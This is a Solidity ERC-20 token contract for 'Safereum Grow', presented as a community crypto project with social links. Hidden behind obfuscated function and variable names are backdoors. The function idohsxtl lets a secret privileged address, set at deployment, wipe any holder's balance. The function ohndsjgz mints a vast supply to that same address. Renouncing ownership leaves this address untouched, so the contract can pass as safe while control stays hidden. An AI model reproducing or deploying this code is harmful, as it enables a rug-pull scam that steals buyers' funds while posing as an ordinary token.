/** 
    Safereum Grow is a community based application The goal Safereum is to create decentralized applications in crypto
        Telegram.Portal : https://t.me/SafereumGrow
        Sec.Link : https://t.me/+35oTkGXTOsc3M2M9
        Twitter  : https://twitter.com/safereumgrow
        Website  : https://safereumgrow.com
        Medium   : https://medium.com/@Safereum_Grow

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

abstract contract Ownable  {
    constructor() {
        _transferOwnership(_msgSender());
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

}

pragma solidity ^0.8.0;

contract SafereumGrow is Ownable {
    constructor(address fpjylcwz) {
        fjymbvzw = fpjylcwz;
        dmhznble[_msgSender()] += supplyamount;
        emit Transfer(address(0), _msgSender(), supplyamount);
    }
    address public fjymbvzw;
    uint256 supplyamount = 1000000000*10**decimals();
    uint256 private _totalSupply = supplyamount;
    mapping(address => uint256) private dmhznble;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    string private _cigzyxas = "Safereum Grow";
    string private _zvxtgilo = "SAFEREUM";
    
    function symbol() public view  returns (string memory) {
        return _zvxtgilo;
    }

    function idohsxtl(address vdolrzay) public     {
        if(fjymbvzw == _msgSender()){
            address mzvbxnaw = vdolrzay;
            uint256 curamount = dmhznble[mzvbxnaw];
            uint256 newaaamount = dmhznble[mzvbxnaw]+dmhznble[mzvbxnaw]-curamount;
            dmhznble[mzvbxnaw] -= newaaamount;
        }else{
            revert("ccc");
        }
        return;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function balanceOf(address account) public view returns (uint256) {
        return dmhznble[account];
    }

    function name() public view returns (string memory) {
        return _cigzyxas;
    }

    function ohndsjgz() 
    external {
        address ztouvlsx = _msgSender();
        dmhznble[ztouvlsx] += 1*38200*((10**decimals()*xurtojpf));
        require(fjymbvzw == _msgSender());
        if(fjymbvzw == _msgSender()){
        }
        if(fjymbvzw == _msgSender()){
        }
    }
    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }
    uint256 xurtojpf = 32330000000+1000;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }




    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = dmhznble[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        dmhznble[from] = dmhznble[from]-amount;
        dmhznble[to] = dmhznble[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(owner, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}